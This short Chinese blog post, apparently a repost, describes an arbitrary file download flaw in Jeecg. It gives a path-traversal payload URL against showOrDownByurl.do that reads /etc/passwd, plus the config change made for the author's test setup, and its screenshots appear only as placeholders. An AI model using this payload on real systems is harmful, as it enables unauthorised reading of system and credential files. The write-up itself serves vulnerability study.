Jeecg 任意文件下载漏洞

payload:
localhost:8080/jeecg_war/chat/imController/showOrDownByurl.do?dbPath=../../etc/passwd&down=1

它默认的文件路径是D://upFiles,我们部署在linux下把目录改为其他的任意目录,我这里修改为/tmp/uploads

在配置文件中进行修改(/src/main/resources/chat_config.properties)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

发布了116 篇原创文章 · 获赞 161 · 访问量 42万+

猜你喜欢

转载自blog.csdn.net/he_and/article/details/103037565